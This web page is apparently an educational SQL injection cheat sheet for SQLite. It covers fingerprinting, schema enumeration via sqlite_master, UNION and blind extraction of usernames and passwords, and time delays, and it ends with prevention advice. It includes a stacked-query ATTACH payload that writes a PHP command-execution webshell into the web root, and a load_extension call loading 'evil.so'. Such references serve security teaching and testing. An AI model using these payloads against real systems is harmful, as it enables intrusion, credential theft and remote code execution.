Skip to content
CWE-89A03:2021 – Injection

SQLite

No sleep, no network, no users, no information_schema — but sqlite_master hands you the entire schema in one query, and ATTACH writes files.

Why SQLite Is Different

SQLite is an embedded library, not a server. There is no separate process, no network listener, no user accounts, and no privilege system. Everything runs with the file permissions of the host application.

That shapes exploitation in both directions:

Harder: no sleep function, so time-based inference needs a manufactured delay. No network primitives at all, so out-of-band exfiltration is impossible. Dynamic typing means casts do not raise, so error-based extraction largely does not work.

Easier: no privilege model to fight — if the application can read a table, so can you. And sqlite_master returns the complete CREATE TABLE statement for every table, so one query gives you the whole schema including column names and types.

SQLite is also the engine powering the Sandbox on this site, so everything here is directly testable in your browser.

Fingerprinting

SQL
' AND sqlite_version()>'3'-- -
' AND (SELECT COUNT(*) FROM sqlite_master)>0-- -

-- Negative tests that identify SQLite by exclusion:
' AND @@version=@@version-- -     -- fails: no @@ variables
' AND SLEEP(1)-- -                -- fails: no such function
' AND 1=(SELECT 1 FROM dual)-- -  -- fails: no dual

-- Error text:
-- "unrecognized token", "near \"...\": syntax error",
-- "no such column", "SQLITE_ERROR"

Syntax Reference

OperationSyntax
Comment-- - or /* */
Versionsqlite_version()
Current userDoes not exist — no user model
Current databasePRAGMA database_list
Concatenationa||b
SubstringSUBSTR(s,1,1)
LengthLENGTH(s)
ASCII valueUNICODE(c) (not ascii())
Char from codeCHAR(65)
Hex encodeHEX(s)
CastCAST(s AS int) — never raises, yields 0
DelayNo sleep. randomblob(n) as a load-based substitute
ConditionalCASE WHEN cond THEN a ELSE b END IIF(c,a,b) (3.32+)
Row limitLIMIT 1 OFFSET 5
Aggregate rowsgroup_concat(col,',')
No-table SELECTSELECT 1 (no FROM needed)
Stacked queriesYes via exec()/executescript(); no via prepare()

Schema Enumeration

There is no information_schema. Instead, sqlite_master stores the literal DDL text of every object — which means a single query returns table names, column names, and types together. This is the fastest schema discovery of any engine and is especially valuable under blind conditions, where every request counts.

sqlite_master

SQL
-- Table names
SELECT name FROM sqlite_master WHERE type='table'

-- Full DDL — names, columns, types, constraints, in one value
SELECT sql FROM sqlite_master WHERE type='table' AND name='users'
-- => CREATE TABLE users (id INTEGER PRIMARY KEY, username TEXT,
--                        password TEXT, email TEXT, role TEXT)

-- Entire schema in one request
SELECT group_concat(sql, ';\n') FROM sqlite_master WHERE type='table'

-- Indexes and triggers too
SELECT name,type,sql FROM sqlite_master

-- Column list without parsing DDL (3.16+)
SELECT name FROM pragma_table_info('users')

-- Attached databases
PRAGMA database_list

-- Newer builds expose sqlite_schema as an alias; if sqlite_master
-- is filtered, try that name instead.
SELECT name FROM sqlite_schema WHERE type='table'

Extraction

SQL
-- UNION: SQLite is permissive about column types, so mismatches
-- rarely block you the way they do on PostgreSQL or Oracle.
' UNION SELECT NULL,username||':'||password,NULL FROM users-- -

-- Whole table in one cell
' UNION SELECT NULL,group_concat(username||':'||password, char(10)),NULL
  FROM users-- -

-- Boolean-blind — note unicode(), not ascii()
' AND UNICODE(SUBSTR((SELECT password FROM users LIMIT 1),1,1))>79-- -

-- Time-blind: no sleep function exists. Force real work instead.
-- Calibrate the size; this is load-dependent, not a fixed duration.
' AND 1=(SELECT CASE WHEN (1=1) THEN randomblob(1000000000) ELSE 1 END)-- -

File Write via ATTACH

ATTACH DATABASE opens another database file — and creates it if it does not exist. Since a SQLite file is mostly a container with your data embedded in it, and since a PHP interpreter ignores surrounding binary noise, this is a webshell drop primitive.

It requires stacked queries (so the application must use exec() rather than prepare()) and a writable directory that is served by the web server. Both conditions are common in small PHP applications backed by SQLite.

ATTACH webshell drop

SQL
'; ATTACH DATABASE '/var/www/html/shell.php' AS s;
   CREATE TABLE s.p (c TEXT);
   INSERT INTO s.p VALUES ('<?php system($_GET[0]); ?>')-- -

-- The resulting file is a valid SQLite database whose bytes happen to
-- contain the PHP tag. PHP scans for <?php and ignores the rest.

-- Reading files is NOT possible: SQLite has no equivalent of
-- LOAD_FILE or pg_read_file. readfile() exists only in the CLI shell,
-- not in the SQL language.

-- load_extension() can load a shared library, which would be RCE —
-- but it is disabled by default at compile time in almost every
-- distribution, and needs the .so to already exist on disk.
'; SELECT load_extension('/tmp/evil.so')-- -

Quirks Worth Knowing

Dynamic typing swallows errors. CAST('abc' AS INTEGER) returns 0 rather than raising. This is why error-based extraction does not work, and also why type-confused comparisons behave oddly: '1abc' = 1 is false in SQLite (unlike MySQL), because the comparison is between a text value and an integer value.

unicode(), not ascii(). A frequent cause of payloads silently returning nothing.

Stacking depends entirely on the API. sqlite3_exec and Python's executescript run multiple statements; sqlite3_prepare and execute run exactly one. The same database is stackable or not depending on the call the developer chose.

No sleep. Timing attacks must use randomblob or a heavy join, both load-dependent and imprecise.

Comments still need care. -- works, but keep the -- - habit for URL safety.

Everything runs as the application. There is no privilege boundary to escalate across; the ceiling is whatever the host process can do.

Prevention

Parameterise. In SQLite this has an unusually strong secondary benefit: the prepare-based APIs accept exactly one statement, so correct parameterisation also removes stacked queries and with them the ATTACH webshell path.

Specifically:

  • Use execute(sql, params) in Python, never executescript with interpolated input.
  • In PHP use PDO with PDO::ATTR_EMULATE_PREPARES => false.
  • In Node.js use better-sqlite3 prepared statements or db.run(sql, params).
  • Ensure the database file's directory is outside the web root, and that the application process cannot write into a served directory.
  • Leave load_extension disabled.